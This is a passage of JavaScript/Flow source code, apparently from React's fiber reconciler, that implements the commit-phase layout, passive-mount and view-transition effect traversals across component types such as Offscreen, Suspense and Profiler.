 case OffscreenComponent: {\n      const isModernRoot =\n        disableLegacyMode || (finishedWork.mode & ConcurrentMode) !== NoMode;\n      if (isModernRoot) {\n        const isHidden = finishedWork.memoizedState !== null;\n        if (isHidden) {\n          // The Offscreen tree is hidden. Skip over its after mutation effects.\n        } else {\n          // The Offscreen tree is visible.\n          const wasHidden = current.memoizedState !== null;\n          if (wasHidden) {\n            commitEnterViewTransitions(finishedWork, false);\n            // If it was previous hidden then the children are treated as enter\n            // not updates so we don't need to visit these children.\n          } else {\n            recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);\n          }\n        }\n      } else {\n        recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);\n      }\n      break;\n    }\n    case ViewTransitionComponent: {\n      const prevContextChanged = viewTransitionContextChanged;\n      const prevCancelableChildren = pushViewTransitionCancelableScope();\n      viewTransitionContextChanged = false;\n      recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);\n\n      if (viewTransitionContextChanged) {\n        finishedWork.flags |= Update;\n      }\n\n      const inViewport = measureUpdateViewTransition(\n        current,\n        finishedWork,\n        false,\n      );\n\n      if ((finishedWork.flags & Update) === NoFlags || !inViewport) {\n        // If this boundary didn't update, then we may be able to cancel its children.\n        // We bubble them up to the parent set to be determined later if we can cancel.\n        // Similarly, if old and new state was outside the viewport, we can skip it\n        // even if it did update.\n        if (prevCancelableChildren === null) {\n          // Bubbling up this whole set to the parent.\n        } else {\n          // Merge with parent set.\n          // $FlowFixMe[method-unbinding]\n          prevCancelableChildren.push.apply(\n            prevCancelableChildren,\n            viewTransitionCancelableChildren,\n          );\n          popViewTransitionCancelableScope(prevCancelableChildren);\n        }\n        // TODO: If this doesn't end up canceled, because a parent animates,\n        // then we should probably issue an event since this instance is part of it.\n      } else {\n        const props: ViewTransitionProps = finishedWork.memoizedProps;\n        scheduleViewTransitionEvent(finishedWork, props.onUpdate);\n\n        // If this boundary did update, we cannot cancel its children so those are dropped.\n        popViewTransitionCancelableScope(prevCancelableChildren);\n      }\n\n      if ((finishedWork.flags & AffectedParentLayout) !== NoFlags) {\n        // This boundary changed size in a way that may have caused its parent to\n        // relayout. We need to bubble this information up to the parent.\n        viewTransitionContextChanged = true;\n      } else {\n        // Otherwise, we restore it to whatever the parent had found so far.\n        viewTransitionContextChanged = prevContextChanged;\n      }\n      break;\n    }\n    default: {\n      recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);\n      break;\n    }\n  }\n}\n\nexport function commitLayoutEffects(\n  finishedWork: Fiber,\n  root: FiberRoot,\n  committedLanes: Lanes,\n): void {\n  inProgressLanes = committedLanes;\n  inProgressRoot = root;\n\n  resetComponentEffectTimers();\n\n  const current = finishedWork.alternate;\n  commitLayoutEffectOnFiber(root, current, finishedWork, committedLanes);\n\n  inProgressLanes = null;\n  inProgressRoot = null;\n}\n\nfunction recursivelyTraverseLayoutEffects(\n  root: FiberRoot,\n  parentFiber: Fiber,\n  lanes: Lanes,\n) {\n  if (parentFiber.subtreeFlags & LayoutMask) {\n    let child = parentFiber.child;\n    while (child !== null) {\n      const current = child.alternate;\n      commitLayoutEffectOnFiber(root, current, child, lanes);\n      child = child.sibling;\n    }\n  }\n}\n\nexport function disappearLayoutEffects(finishedWork: Fiber) {\n  const prevEffectStart = pushComponentEffectStart();\n  const prevEffectDuration = pushComponentEffectDuration();\n  const prevEffectErrors = pushComponentEffectErrors();\n  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();\n  switch (finishedWork.tag) {\n    case FunctionComponent:\n    case ForwardRef:\n    case MemoComponent:\n    case SimpleMemoComponent: {\n      // TODO (Offscreen) Check: flags & LayoutStatic\n      commitHookLayoutUnmountEffects(\n        finishedWork,\n        finishedWork.return,\n        HookLayout,\n      );\n      recursivelyTraverseDisappearLayoutEffects(finishedWork);\n      break;\n    }\n    case ClassComponent: {\n      // TODO (Offscreen) Check: flags & RefStatic\n      safelyDetachRef(finishedWork, finishedWork.return);\n\n      const instance = finishedWork.stateNode;\n      if (typeof instance.componentWillUnmount === 'function') {\n        safelyCallComponentWillUnmount(\n          finishedWork,\n          finishedWork.return,\n          instance,\n        );\n      }\n\n      recursivelyTraverseDisappearLayoutEffects(finishedWork);\n      break;\n    }\n    case HostSingleton: {\n      if (supportsSingletons) {\n        // TODO (Offscreen) Check: flags & RefStatic\n        commitHostSingletonRelease(finishedWork);\n      }\n      // Expected fallthrough to HostComponent\n    }\n    case HostHoistable:\n    case HostComponent: {\n      // TODO (Offscreen) Check: flags & RefStatic\n      safelyDetachRef(finishedWork, finishedWork.return);\n\n      if (\n        enableFragmentRefs &&\n        (finishedWork.tag === HostComponent ||\n          (enableFragmentRefsTextNodes && finishedWork.tag === HostText))\n      ) {\n        commitFragmentInstanceDeletionEffects(finishedWork);\n      }\n\n      recursivelyTraverseDisappearLayoutEffects(finishedWork);\n      break;\n    }\n    case OffscreenComponent: {\n      const isHidden = finishedWork.memoizedState !== null;\n      if (isHidden) {\n        // Nested Offscreen tree is already hidden. Don't disappear\n        // its effects.\n      } else {\n        recursivelyTraverseDisappearLayoutEffects(finishedWork);\n      }\n      break;\n    }\n    case ViewTransitionComponent: {\n      if (enableViewTransition) {\n        if (__DEV__) {\n          if (finishedWork.flags & ViewTransitionNamedStatic) {\n            untrackNamedViewTransition(finishedWork);\n          }\n        }\n        safelyDetachRef(finishedWork, finishedWork.return);\n      }\n      recursivelyTraverseDisappearLayoutEffects(finishedWork);\n      break;\n    }\n    case Fragment: {\n      if (enableFragmentRefs) {\n        safelyDetachRef(finishedWork, finishedWork.return);\n      }\n      // Fallthrough\n    }\n    default: {\n      recursivelyTraverseDisappearLayoutEffects(finishedWork);\n      break;\n    }\n  }\n\n  if (\n    enableProfilerTimer &&\n    enableProfilerCommitHooks &&\n    enableComponentPerformanceTrack &&\n    (finishedWork.mode & ProfileMode) !== NoMode &&\n    componentEffectStartTime >= 0 &&\n    componentEffectEndTime >= 0 &&\n    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)\n  ) {\n    logComponentEffect(\n      finishedWork,\n      componentEffectStartTime,\n      componentEffectEndTime,\n      componentEffectDuration,\n      componentEffectErrors,\n    );\n  }\n\n  popComponentEffectStart(prevEffectStart);\n  popComponentEffectDuration(prevEffectDuration);\n  popComponentEffectErrors(prevEffectErrors);\n  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);\n}\n\nfunction recursivelyTraverseDisappearLayoutEffects(parentFiber: Fiber) {\n  // TODO (Offscreen) Check: subtreeflags & (RefStatic | LayoutStatic)\n  let child = parentFiber.child;\n  while (child !== null) {\n    disappearLayoutEffects(child);\n    child = child.sibling;\n  }\n}\n\nexport function reappearLayoutEffects(\n  finishedRoot: FiberRoot,\n  current: Fiber | null,\n  finishedWork: Fiber,\n  // This function visits both newly finished work and nodes that were re-used\n  // from a previously committed tree. We cannot check non-static flags if the\n  // node was reused.\n  includeWorkInProgressEffects: boolean,\n) {\n  const prevEffectStart = pushComponentEffectStart();\n  const prevEffectDuration = pushComponentEffectDuration();\n  const prevEffectErrors = pushComponentEffectErrors();\n  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();\n  // Turn on layout effects in a tree that previously disappeared.\n  const flags = finishedWork.flags;\n  switch (finishedWork.tag) {\n    case FunctionComponent:\n    case ForwardRef:\n    case SimpleMemoComponent: {\n      recursivelyTraverseReappearLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        includeWorkInProgressEffects,\n      );\n      // TODO: Check flags & LayoutStatic\n      commitHookLayoutEffects(finishedWork, HookLayout);\n      break;\n    }\n    case ClassComponent: {\n      recursivelyTraverseReappearLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        includeWorkInProgressEffects,\n      );\n\n      commitClassDidMount(finishedWork);\n\n      commitClassHiddenCallbacks(finishedWork);\n\n      // If this is newly finished work, check for setState callbacks\n      if (includeWorkInProgressEffects && flags & Callback) {\n        commitClassCallbacks(finishedWork);\n      }\n\n      // TODO: Check flags & RefStatic\n      safelyAttachRef(finishedWork, finishedWork.return);\n      break;\n    }\n    // Unlike commitLayoutEffectsOnFiber, we don't need to handle HostRoot\n    // because this function only visits nodes that are inside an\n    // Offscreen fiber.\n    // case HostRoot: {\n    //  ...\n    // }\n    case HostSingleton: {\n      if (supportsSingletons) {\n        // We acquire the singleton instance first so it has appropriate\n        // styles before other layout effects run. This isn't perfect because\n        // an early sibling of the singleton may have an effect that can\n        // observe the singleton before it is acquired.\n        // @TODO move this to the mutation phase. The reason it isn't there yet\n        // is it seemingly requires an extra traversal because we need to move the\n        // disappear effect into a phase before the appear phase\n        commitHostSingletonAcquisition(finishedWork);\n        // We fall through to the HostComponent case below.\n      }\n      // Fallthrough\n    }\n    case HostHoistable:\n    case HostComponent: {\n      // TODO: Enable HostText for RN\n      if (enableFragmentRefs && finishedWork.tag === HostComponent) {\n        commitFragmentInstanceInsertionEffects(finishedWork);\n      }\n      recursivelyTraverseReappearLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        includeWorkInProgressEffects,\n      );\n\n      // Renderers may schedule work to be done after host components are mounted\n      // (eg DOM renderer may schedule auto-focus for inputs and form controls).\n      // These effects should only be committed when components are first mounted,\n      // aka when there is no current/alternate.\n      if (includeWorkInProgressEffects && current === null && flags & Update) {\n        commitHostMount(finishedWork);\n      }\n\n      // TODO: Check flags & Ref\n      safelyAttachRef(finishedWork, finishedWork.return);\n      break;\n    }\n    case Profiler: {\n      // TODO: Figure out how Profiler updates should work with Offscreen\n      if (includeWorkInProgressEffects && flags & Update) {\n        const prevProfilerEffectDuration = pushNestedEffectDurations();\n\n        recursivelyTraverseReappearLayoutEffects(\n          finishedRoot,\n          finishedWork,\n          includeWorkInProgressEffects,\n        );\n\n        const profilerInstance = finishedWork.stateNode;\n\n        if (enableProfilerTimer && enableProfilerCommitHooks) {\n          // Propagate layout effect durations to the next nearest Profiler ancestor.\n          // Do not reset these values until the next render so DevTools has a chance to read them first.\n          profilerInstance.effectDuration += bubbleNestedEffectDurations(\n            prevProfilerEffectDuration,\n          );\n        }\n\n        commitProfilerUpdate(\n          finishedWork,\n          current,\n          commitStartTime,\n          profilerInstance.effectDuration,\n        );\n      } else {\n        recursivelyTraverseReappearLayoutEffects(\n          finishedRoot,\n          finishedWork,\n          includeWorkInProgressEffects,\n        );\n      }\n      break;\n    }\n    case ActivityComponent: {\n      recursivelyTraverseReappearLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        includeWorkInProgressEffects,\n      );\n\n      if (includeWorkInProgressEffects && flags & Update) {\n        // TODO: Delete this feature.\n        commitActivityHydrationCallbacks(finishedRoot, finishedWork);\n      }\n      break;\n    }\n    case SuspenseComponent: {\n      recursivelyTraverseReappearLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        includeWorkInProgressEffects,\n      );\n\n      if (includeWorkInProgressEffects && flags & Update) {\n        // TODO: Delete this feature.\n        commitSuspenseHydrationCallbacks(finishedRoot, finishedWork);\n      }\n      break;\n    }\n    case OffscreenComponent: {\n      const offscreenState: OffscreenState = finishedWork.memoizedState;\n      const isHidden = offscreenState !== null;\n      if (isHidden) {\n        // Nested Offscreen tree is still hidden. Don't re-appear its effects.\n      } else {\n        recursivelyTraverseReappearLayoutEffects(\n          finishedRoot,\n          finishedWork,\n          includeWorkInProgressEffects,\n        );\n      }\n      // TODO: Check flags & Ref\n      safelyAttachRef(finishedWork, finishedWork.return);\n      break;\n    }\n    case ViewTransitionComponent: {\n      if (enableViewTransition) {\n        recursivelyTraverseReappearLayoutEffects(\n          finishedRoot,\n          finishedWork,\n          includeWorkInProgressEffects,\n        );\n        if (__DEV__) {\n          if (flags & ViewTransitionNamedStatic) {\n            trackNamedViewTransition(finishedWork);\n          }\n        }\n        safelyAttachRef(finishedWork, finishedWork.return);\n        break;\n      }\n      break;\n    }\n    case Fragment: {\n      if (enableFragmentRefs) {\n        safelyAttachRef(finishedWork, finishedWork.return);\n      }\n      // Fallthrough\n    }\n    default: {\n      recursivelyTraverseReappearLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        includeWorkInProgressEffects,\n      );\n      break;\n    }\n  }\n\n  if (\n    enableProfilerTimer &&\n    enableProfilerCommitHooks &&\n    enableComponentPerformanceTrack &&\n    (finishedWork.mode & ProfileMode) !== NoMode &&\n    componentEffectStartTime >= 0 &&\n    componentEffectEndTime >= 0 &&\n    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)\n  ) {\n    logComponentEffect(\n      finishedWork,\n      componentEffectStartTime,\n      componentEffectEndTime,\n      componentEffectDuration,\n      componentEffectErrors,\n    );\n  }\n\n  popComponentEffectStart(prevEffectStart);\n  popComponentEffectDuration(prevEffectDuration);\n  popComponentEffectErrors(prevEffectErrors);\n  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);\n}\n\nfunction recursivelyTraverseReappearLayoutEffects(\n  finishedRoot: FiberRoot,\n  parentFiber: Fiber,\n  includeWorkInProgressEffects: boolean,\n) {\n  // This function visits both newly finished work and nodes that were re-used\n  // from a previously committed tree. We cannot check non-static flags if the\n  // node was reused.\n  const childShouldIncludeWorkInProgressEffects =\n    includeWorkInProgressEffects &&\n    (parentFiber.subtreeFlags & LayoutMask) !== NoFlags;\n\n  // TODO (Offscreen) Check: flags & (RefStatic | LayoutStatic)\n  let child = parentFiber.child;\n  while (child !== null) {\n    const current = child.alternate;\n    reappearLayoutEffects(\n      finishedRoot,\n      current,\n      child,\n      childShouldIncludeWorkInProgressEffects,\n    );\n    child = child.sibling;\n  }\n}\n\nfunction commitOffscreenPassiveMountEffects(\n  current: Fiber | null,\n  finishedWork: Fiber,\n  instance: OffscreenInstance,\n) {\n  let previousCache: Cache | null = null;\n  if (\n    current !== null &&\n    current.memoizedState !== null &&\n    current.memoizedState.cachePool !== null\n  ) {\n    previousCache = current.memoizedState.cachePool.pool;\n  }\n  let nextCache: Cache | null = null;\n  if (\n    finishedWork.memoizedState !== null &&\n    finishedWork.memoizedState.cachePool !== null\n  ) {\n    nextCache = finishedWork.memoizedState.cachePool.pool;\n  }\n  // Retain/release the cache used for pending (suspended) nodes.\n  // Note that this is only reached in the non-suspended/visible case:\n  // when the content is suspended/hidden, the retain/release occurs\n  // via the parent Suspense component (see case above).\n  if (nextCache !== previousCache) {\n    if (nextCache != null) {\n      retainCache(nextCache);\n    }\n    if (previousCache != null) {\n      releaseCache(previousCache);\n    }\n  }\n\n  if (enableTransitionTracing) {\n    // TODO: Pre-rendering should not be counted as part of a transition. We\n    // may add separate logs for pre-rendering, but it's not part of the\n    // primary metrics.\n    const offscreenState: OffscreenState = finishedWork.memoizedState;\n    const queue: OffscreenQueue | null = (finishedWork.updateQueue: any);\n\n    const isHidden = offscreenState !== null;\n    if (queue !== null) {\n      if (isHidden) {\n        const transitions = queue.transitions;\n        if (transitions !== null) {\n          transitions.forEach(transition => {\n            // Add all the transitions saved in the update queue during\n            // the render phase (ie the transitions associated with this boundary)\n            // into the transitions set.\n            if (instance._transitions === null) {\n              instance._transitions = new Set();\n            }\n            instance._transitions.add(transition);\n          });\n        }\n\n        const markerInstances = queue.markerInstances;\n        if (markerInstances !== null) {\n          markerInstances.forEach(markerInstance => {\n            const markerTransitions = markerInstance.transitions;\n            // There should only be a few tracing marker transitions because\n            // they should be only associated with the transition that\n            // caused them\n            if (markerTransitions !== null) {\n              markerTransitions.forEach(transition => {\n                if (instance._transitions === null) {\n                  instance._transitions = new Set();\n                } else if (instance._transitions.has(transition)) {\n                  if (markerInstance.pendingBoundaries === null) {\n                    markerInstance.pendingBoundaries = new Map();\n                  }\n                  if (instance._pendingMarkers === null) {\n                    instance._pendingMarkers = new Set();\n                  }\n\n                  instance._pendingMarkers.add(markerInstance);\n                }\n              });\n            }\n          });\n        }\n      }\n\n      finishedWork.updateQueue = null;\n    }\n\n    commitTransitionProgress(finishedWork);\n\n    // TODO: Refactor this into an if/else branch\n    if (!isHidden) {\n      instance._transitions = null;\n      instance._pendingMarkers = null;\n    }\n  }\n}\n\nfunction commitCachePassiveMountEffect(\n  current: Fiber | null,\n  finishedWork: Fiber,\n) {\n  let previousCache: Cache | null = null;\n  if (finishedWork.alternate !== null) {\n    previousCache = finishedWork.alternate.memoizedState.cache;\n  }\n  const nextCache = finishedWork.memoizedState.cache;\n  // Retain/release the cache. In theory the cache component\n  // could be \"borrowing\" a cache instance owned by some parent,\n  // in which case we could avoid retaining/releasing. But it\n  // is non-trivial to determine when that is the case, so we\n  // always retain/release.\n  if (nextCache !== previousCache) {\n    retainCache(nextCache);\n    if (previousCache != null) {\n      releaseCache(previousCache);\n    }\n  }\n}\n\nfunction commitTracingMarkerPassiveMountEffect(finishedWork: Fiber) {\n  // Get the transitions that were initiatized during the render\n  // and add a start transition callback for each of them\n  // We will only call this on initial mount of the tracing marker\n  // only if there are no suspense children\n  const instance = finishedWork.stateNode;\n  if (instance.transitions !== null && instance.pendingBoundaries === null) {\n    addMarkerCompleteCallbackToPendingTransition(\n      finishedWork.memoizedProps.name,\n      instance.transitions,\n    );\n    instance.transitions = null;\n    instance.pendingBoundaries = null;\n    instance.aborts = null;\n    instance.name = null;\n  }\n}\n\nexport function commitPassiveMountEffects(\n  root: FiberRoot,\n  finishedWork: Fiber,\n  committedLanes: Lanes,\n  committedTransitions: Array<Transition> | null,\n  renderEndTime: number, // Profiling-only\n): void {\n  resetComponentEffectTimers();\n\n  commitPassiveMountOnFiber(\n    root,\n    finishedWork,\n    committedLanes,\n    committedTransitions,\n    enableProfilerTimer && enableComponentPerformanceTrack ? renderEndTime : 0,\n  );\n}\n\nfunction recursivelyTraversePassiveMountEffects(\n  root: FiberRoot,\n  parentFiber: Fiber,\n  committedLanes: Lanes,\n  committedTransitions: Array<Transition> | null,\n  endTime: number, // Profiling-only. The start time of the next Fiber or root completion.\n) {\n  const isViewTransitionEligible =\n    enableViewTransition &&\n    includesOnlyViewTransitionEligibleLanes(committedLanes);\n  // TODO: We could optimize this by marking these with the Passive subtree flag in the render phase.\n  const subtreeMask = isViewTransitionEligible\n    ? PassiveTransitionMask\n    : PassiveMask;\n  if (\n    parentFiber.subtreeFlags & subtreeMask ||\n    // If this subtree rendered with profiling this commit, we need to visit it to log it.\n    (enableProfilerTimer &&\n      enableComponentPerformanceTrack &&\n      parentFiber.actualDuration !== 0 &&\n      (parentFiber.alternate === null ||\n        parentFiber.alternate.child !== parentFiber.child))\n  ) {\n    let child = parentFiber.child;\n    while (child !== null) {\n      if (enableProfilerTimer && enableComponentPerformanceTrack) {\n        const nextSibling = child.sibling;\n        commitPassiveMountOnFiber(\n          root,\n          child,\n          committedLanes,\n          committedTransitions,\n          nextSibling !== null\n            ? ((nextSibling.actualStartTime: any): number)\n            : endTime,\n        );\n        child = nextSibling;\n      } else {\n        commitPassiveMountOnFiber(\n          root,\n          child,\n          committedLanes,\n          committedTransitions,\n          0,\n        );\n        child = child.sibling;\n      }\n    }\n  } else if (isViewTransitionEligible) {\n    // We are inside an updated subtree. Any mutations that affected the\n    // parent HostInstance's layout or set of children (such as reorders)\n    // might have also affected the positioning or size of the inner\n    // ViewTransitions. Therefore we need to restore those too.\n    restoreNestedViewTransitions(parentFiber);\n  }\n}\n\nlet inHydratedSubtree = false;\n\nfunction commitPassiveMountOnFiber(\n  finishedRoot: FiberRoot,\n  finishedWork: Fiber,\n  committedLanes: Lanes,\n  committedTransitions: Array<Transition> | null,\n  endTime: number, // Profiling-only. The start time of the next Fiber or root completion.\n): void {\n  const prevEffectStart = pushComponentEffectStart();\n  const prevEffectDuration = pushComponentEffectDuration();\n  const prevEffectErrors = pushComponentEffectErrors();\n  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();\n  const prevDeepEquality = pushDeepEquality();\n\n  const isViewTransitionEligible = enableViewTransition\n    ? includesOnlyViewTransitionEligibleLanes(committedLanes)\n    : false;\n\n  if (\n    isViewTransitionEligible &&\n    finishedWork.alternate === null &&\n    // We can't use the Placement flag here because it gets reset earlier. Instead,\n    // we check if this is the root of the insertion by checking if the parent\n    // was previous existing.\n    finishedWork.return !== null &&\n    finishedWork.return.alternate !== null\n  ) {\n    // This was a new mount. This means we could've triggered an enter animation on\n    // the content. Restore the view transitions if there were any assigned in the\n    // snapshot phase.\n    restoreEnterOrExitViewTransitions(finishedWork);\n  }\n\n  // When updating this function, also update reconnectPassiveEffects, which does\n  // most of the same things when an offscreen tree goes from hidden -> visible,\n  // or when toggling effects inside a hidden tree.\n  const flags = finishedWork.flags;\n  switch (finishedWork.tag) {\n    case FunctionComponent:\n    case ForwardRef:\n    case SimpleMemoComponent: {\n      // If this component rendered in Profiling mode (DEV or in Profiler component) then log its\n      // render time. We do this after the fact in the passive effect to avoid the overhead of this\n      // getting in the way of the render characteristics and avoid the overhead of unwinding\n      // uncommitted renders.\n      if (\n        enableProfilerTimer &&\n        enableComponentPerformanceTrack &&\n        (finishedWork.mode & ProfileMode) !== NoMode &&\n        ((finishedWork.actualStartTime: any): number) > 0 &&\n        (finishedWork.flags & PerformedWork) !== NoFlags\n      ) {\n        logComponentRender(\n          finishedWork,\n          ((finishedWork.actualStartTime: any): number),\n          endTime,\n          inHydratedSubtree,\n          committedLanes,\n        );\n      }\n\n      recursivelyTraversePassiveMountEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        endTime,\n      );\n      if (flags & Passive) {\n        commitHookPassiveMountEffects(\n          finishedWork,\n          HookPassive | HookHasEffect,\n        );\n      }\n      break;\n    }\n    case ClassComponent: {\n      // If this component rendered in Profiling mode (DEV or in Profiler component) then log its\n      // render time. We do this after the fact in the passive effect to avoid the overhead of this\n      // getting in the way of the render characteristics and avoid the overhead of unwinding\n      // uncommitted renders.\n      if (\n        enableProfilerTimer &&\n        enableComponentPerformanceTrack &&\n        (finishedWork.mode & ProfileMode) !== NoMode &&\n        ((finishedWork.actualStartTime: any): number) > 0\n      ) {\n        if ((finishedWork.flags & DidCapture) !== NoFlags) {\n          logComponentErrored(\n            finishedWork,\n            ((finishedWork.actualStartTime: any): number),\n            endTime,\n            // TODO: The captured values are all hidden inside the updater/callback closures so\n            // we can't get to the errors but they're there so we should be able to log them.\n            [],\n          );\n        } else if ((finishedWork.flags & PerformedWork) !== NoFlags) {\n          logComponentRender(\n            finishedWork,\n            ((finishedWork.actualStartTime: any): number),\n            endTime,\n            inHydratedSubtree,\n            committedLanes,\n          );\n        }\n      }\n\n      recursivelyTraversePassiveMountEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        endTime,\n      );\n      break;\n    }\n    case HostRoot: {\n      const prevProfilerEffectDuration = pushNestedEffectDurations();\n\n      const wasInHydratedSubtree = inHydratedSubtree;\n      if (enableProfilerTimer && enableComponentPerformanceTrack) {\n        // Detect if this was a hydration commit by look at if the previous state was\n        // dehydrated and this wasn't a forced client render.\n        inHydratedSubtree =\n          finishedWork.alternate !== null &&\n          (finishedWork.alternate.memoizedState: RootState).isDehydrated &&\n          (finishedWork.flags & ForceClientRender) === NoFlags;\n      }\n\n      recursivelyTraversePassiveMountEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        endTime,\n      );\n\n      if (enableProfilerTimer && enableComponentPerformanceTrack) {\n        inHydratedSubtree = wasInHydratedSubtree;\n      }\n\n      if (isViewTransitionEligible) {\n        if (supportsMutation && rootViewTransitionNameCanceled) {\n          restoreRootViewTransitionName(finishedRoot.containerInfo);\n        }\n      }\n\n      if (flags & Passive) {\n        let previousCache: Cache | null = null;\n        if (finishedWork.alternate !== null) {\n          previousCache = finishedWork.alternate.memoizedState.cache;\n        }\n        const nextCache = finishedWork.memoizedState.cache;\n        // Retain/release the root cache.\n        // Note that on initial mount, previousCache and nextCache will be the same\n        // and this retain won't occur. To counter this, we instead retain the HostRoot's\n        // initial cache when creating the root itself (see createFiberRoot() in\n        // ReactFiberRoot.js). Subsequent updates that change the cache are reflected\n        // here, such that previous/next caches are retained correctly.\n        if (nextCache !== previousCache) {\n          retainCache(nextCache);\n          if (previousCache != null) {\n            releaseCache(previousCache);\n          }\n        }\n\n        if (enableTransitionTracing) {\n          // Get the transitions that were initiatized during the render\n          // and add a start transition callback for each of them\n          const root: FiberRoot = finishedWork.stateNode;\n          const incompleteTransitions = root.incompleteTransitions;\n          // Initial render\n          if (committedTransitions !== null) {\n            committedTransitions.forEach(transition => {\n              addTransitionStartCallbackToPendingTransition(transition);\n            });\n\n            clearTransitionsForLanes(finishedRoot, committedLanes);\n          }\n\n          incompleteTransitions.forEach((markerInstance, transition) => {\n            const pendingBoundaries = markerInstance.pendingBoundaries;\n            if (pendingBoundaries === null || pendingBoundaries.size === 0) {\n              if (markerInstance.aborts === null) {\n                addTransitionCompleteCallbackToPendingTransition(transition);\n              }\n              incompleteTransitions.delete(transition);\n            }\n          });\n\n          clearTransitionsForLanes(finishedRoot, committedLanes);\n        }\n      }\n      if (enableProfilerTimer && enableProfilerCommitHooks) {\n        finishedRoot.passiveEffectDuration += popNestedEffectDurations(\n          prevProfilerEffectDuration,\n        );\n      }\n      break;\n    }\n    case Profiler: {\n      // Only Profilers with work in their subtree will have a Passive effect scheduled.\n      if (flags & Passive) {\n        const prevProfilerEffectDuration = pushNestedEffectDurations();\n\n        recursivelyTraversePassiveMountEffects(\n          finishedRoot,\n          finishedWork,\n          committedLanes,\n          committedTransitions,\n          endTime,\n        );\n\n        const profilerInstance = finishedWork.stateNode;\n\n        if (enableProfilerTimer && enableProfilerCommitHooks) {\n          // Bubble times to the next nearest ancestor Profiler.\n          // After we process that Profiler, we'll bubble further up.\n          profilerInstance.passiveEffectDuration += bubbleNestedEffectDurations(\n            prevProfilerEffectDuration,\n          );\n        }\n\n        commitProfilerPostCommit(\n          finishedWork,\n          finishedWork.alternate,\n          // This value will still reflect the previous commit phase.\n          // It does not get reset until the start of the next commit phase.\n          commitStartTime,\n          profilerInstance.passiveEffectDuration,\n        );\n      } else {\n        recursivelyTraversePassiveMountEffects(\n          finishedRoot,\n          finishedWork,\n          committedLanes,\n          committedTransitions,\n          endTime,\n        );\n      }\n      break;\n    }\n    case ActivityComponent: {\n      const wasInHydratedSubtree = inHydratedSubtree;\n      if (enableProfilerTimer && enableComponentPerformanceTrack) {\n        const prevState: ActivityState | null =\n          finishedWork.alternate !== null\n            ? finishedWork.alternate.memoizedState\n            : null;\n        const nextState: ActivityState | null = finishedWork.memoizedState;\n        if (prevState !== null && nextState === null) {\n          // This was dehydrated but is no longer dehydrated. We may have now either hydrated it\n          // or client rendered it.\n          const deletions = finishedWork.deletions;\n          if (\n            deletions !== null &&\n            deletions.length > 0 &&\n            deletions[0].tag === DehydratedFragment\n          ) {\n            // This was an abandoned hydration that deleted the dehydrated fragment. That means we\n            // are not hydrating this Suspense boundary.\n            inHydratedSubtree = false;\n            const hydrationErrors = prevState.hydrationErrors;\n            // If there were no hydration errors, that suggests that this was an intentional client\n            // rendered boundary.\n            if (hydrationErrors !== null) {\n              const startTime: number = (finishedWork.actualStartTime: any);\n              logComponentErrored(\n                finishedWork,\n                startTime,\n                endTime,\n                hydrationErrors,\n              );\n            }\n          } else {\n            // If any children committed they were hydrated.\n            inHydratedSubtree = true;\n          }\n        } else {\n          inHydratedSubtree = false;\n        }\n      }\n\n      recursivelyTraversePassiveMountEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        endTime,\n      );\n\n      if (enableProfilerTimer && enableComponentPerformanceTrack) {\n        inHydratedSubtree = wasInHydratedSubtree;\n      }\n      break;\n    }\n    case SuspenseComponent: {\n      const wasInHydratedSubtree = inHydratedSubtree;\n      if (enableProfilerTimer && enableComponentPerformanceTrack) {\n        const prevState: SuspenseState | null =\n          finishedWork.alternate !== null\n            ? finishedWork.alternate.memoizedState\n            : null;\n        const nextState: SuspenseState | null = finishedWork.memoizedState;\n        if (\n          prevState !== null &&\n          prevState.dehydrated !== null &&\n          (nextState === null || nextState.dehydrated === null)\n        ) {\n          // This was dehydrated but is no longer dehydrated. We may have now either hydrated it\n          // or client rendered it.\n          const deletions = finishedWork.deletions;\n          if (\n            deletions !== null &&\n            deletions.length > 0 &&\n            deletions[0].tag === DehydratedFragment\n          ) {\n            // This was an abandoned hydration that deleted the dehydrated fragment. That means we\n            // are not hydrating this Suspense boundary.\n            inHydratedSubtree = false;\n            const hydrationErrors = prevState.hydrationErrors;\n            // If there were no hydration errors, that suggests that this was an intentional client\n            // rendered boundary.\n            if (hydrationErrors !== null) {\n              const startTime: number = (finishedWork.actualStartTime: any);\n              logComponentErrored(\n                finishedWork,\n                startTime,\n                endTime,\n                hydrationErrors,\n              );\n            }\n          } else {\n            // If any children committed they were hydrated.\n            inHydratedSubtree = true;\n          }\n        } else {\n          inHydratedSubtree = false;\n        }\n      }\n\n      recursivelyTraversePassiveMountEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        endTime,\n      );\n\n      if (enableProfilerTimer && enableComponentPerformanceTrack) {\n        inHydratedSubtree = wasInHydratedSubtree;\n      }\n      break;\n    }\n    case LegacyHiddenComponent: {\n      if (enableLegacyHidden) {\n        recursivelyTraversePassiveMountEffects(\n          finishedRoot,\n          finishedWork,\n          committedLanes,\n          committedTransitions,\n          endTime,\n        );\n\n        if (flags & Passive) {\n          const current = finishedWork.alternate;\n          const instance: OffscreenInstance = finishedWork.stateNode;\n          commitOffscreenPassiveMountEffects(current, finishedWork, instance);\n        }\n      }\n      break;\n    }\n    case OffscreenComponent: {\n      // TODO: Pass `current` as argument to this function\n      const instance: OffscreenInstance = finishedWork.stateNode;\n      const current = finishedWork.alternate;\n      const nextState: OffscreenState | null = 